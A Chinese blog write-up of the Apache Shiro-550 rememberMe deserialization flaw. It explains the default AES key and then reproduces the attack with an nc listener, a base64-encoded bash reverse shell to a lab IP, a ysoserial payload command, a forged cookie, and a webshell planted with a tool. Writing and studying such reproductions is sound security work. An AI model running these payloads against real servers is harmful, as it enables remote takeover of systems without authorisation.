首页 > 其他分享 >shiro550

shiro550

时间:2023-07-04 22:38:15浏览次数:38  
标签:shell 加密 base64 rememberMe shiro550 序列化 bash

源码分析:

 

 

 

接收到response传回的参数后先序列化,之后进行aes加密(对称)

 

 

上图可以看到使用kPH+bIxk5D2deZiIxcaaaA==解密

 

最后base64编码

 

漏洞原理:

shiro框架在登录时,如果勾选了RememberMe的功能,关闭浏览器再次访问时便无需再次登录,此时cookie中会增加一个rememberMe字段,其 value 的值是经过序列化、AES加密和Base64编码后得到的结果。

服务端在接收到一个Cookie时,会按照如下步骤进行解析处理:

    (1)检索RememberMe Cookie的值

    (2)进行Base64解码

    (3)进行AES解码

    (4)进行反序列化操作

 

 

 

 

整体流程与利用思路如上图所示

 

拦截response,看到deleteMe证明参数传递成功,说明确实存在4437漏洞

 


 

下面是漏洞复现过程:

第一种为手动做法

先开启一个监听端口用于接收反弹shell:  nc –lvvp 6666

当命令中包含重定向 ’ < ’ ’ > ’ 和管道符 ’ | ’ 时,需要进行 base64 编码绕过检测。可以使用在线网站对命令进行编码,得到的结果如下bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjEzMC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}

 

之后需要将该bash进行序列化

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDAuMTMxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

默认密钥的加密,加密脚本内容如下

 

 

得到的rememberMe值如下:

rememberMe=SHaFTQdoQyyp/6aF8nm+S+n0p137QVPK6totrz/HmyvQAO+ZOKVLg7e3l1BpDjneRCi3pvZH+Crshq66w+o/xKMvLoVxRootFbrV6ovdAsvo/xAvXOYj71KNPqWP4J4tYNydIiPU1Gqd4saPTbJ1eiBW42tSY4NhiEu+/uCaGok+Lsyv/UB9zPCtJKGJCbDp8eHB9rk/RzQUV2QVdU2bsNjZM7dOTtoL/90yx3LcNfqrkzLWNW+X2jH4GwVPsKkPslQkzS8E/t4b8kMLYjTpFWmxmnyCzbX/4j8ok7JIxpqbQ92TSQgUzm+xcXluldpWo6e3EVnB+wUPNkrREad+YdCAFPpkSpSsuuRZjg/MQ/Kw7NiuTjNtwKMBmf5jalZ9HwbsiY5LfSdRfsLQ4MEwzg==

抓包之后将构造的cookie放入

 

 

 

 

响应包中确实可以看到deleteMe的内容,证明上传成功。

 

反弹shell执行成功

第二种是工具用法

 

 

 

存在该资源,证明注入成功,后续使用哥斯拉或冰蝎连接

 

添加webshell的路径

连接shell成功

 

标签:shell,加密,base64,rememberMe,shiro550,序列化,bash
From: https://www.cnblogs.com/guangtouliu/p/17527228.html

相关文章

  • shiro550
    0x00前言结束了cc链的学习,准备学习一手shiro反序列化漏洞嘛,这个漏洞其实出现了蛮久了是这两年攻防才把它逐渐的提上来,也大概知道这个漏洞的原理就是加迷是用的aes而且密钥......